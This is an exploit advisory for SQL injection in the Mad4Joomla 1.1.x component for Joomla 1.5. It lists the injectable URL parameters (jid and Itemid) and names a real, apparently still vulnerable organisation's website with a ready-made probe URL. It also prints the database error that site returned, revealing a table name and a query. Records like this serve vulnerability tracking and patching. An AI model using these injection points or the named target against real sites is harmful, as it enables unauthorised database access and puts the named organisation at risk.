Joomla Mad4Joomla 1.1.x SQL Injection

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# Exploit Title : Joomla 1.5.26 Mad4Joomla 1.1.x SQL Injection  
# Author [ Discovered By ] : KingSkrupellos  
# Team : Cyberizm Digital Security Army  
# Date : 12/10/2019  
# Vendor Homepage : mad4media.de  
# Joomla Affected Versions : 1.5.16/1.5.18-1.5.26  
# Software Affected Versions : 1.1.1 - 1.1.2 - 1.1.3 - 1.1.4 - 1.1.5 - 1.1.6 - 1.1.7 - 1.1.8.1  
# Tested On : Windows and Linux  
# Category : WebApps  
# Exploit Risk : Medium  
# Vulnerability Type : CWE-89 [ Improper Neutralization of   
Special Elements used in an SQL Command ('SQL Injection') ]  
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968  
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/  
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos  
  
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# Impact :  
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Joomla Mad4Joomla is prone to an SQL-injection vulnerability because   
it fails to sufficiently sanitize user-supplied data before using it in an SQL query.   
Exploiting this issue could allow an attacker to compromise the application, access or   
modify data, or exploit latent vulnerabilities in the underlying database.   
A remote attacker can send a specially crafted request to the vulnerable application and   
execute arbitrary SQL commands in application`s database. Further exploitation of this   
vulnerability may result in unauthorized data manipulation.   
An attacker can exploit this issue using a browser or with any SQL Injector Tool.  
  
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# SQL Injection Exploit :  
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/index.php?option=com_mad4joomla&jid=[SQL Injection]  
  
/index.php?option=com_mad4joomla&jid=[ID-NUMBER]&Itemid=[SQL Injection]&lang=fr  
  
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# Example Vulnerable Sites :  
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[+] cardliberia.org/index.php?option=com_mad4joomla&jid=1&Itemid=1%27&lang=fr  
  
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# Example SQL Database Error :  
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No valid database connection Table 'c695_card_prd.jos_m4j_forms' doesn't exist   
SQL=SELECT question_width as left_col, answer_width as right_col, use_help   
FROM jos_m4j_forms WHERE fid = ''  
  
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# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team   
  
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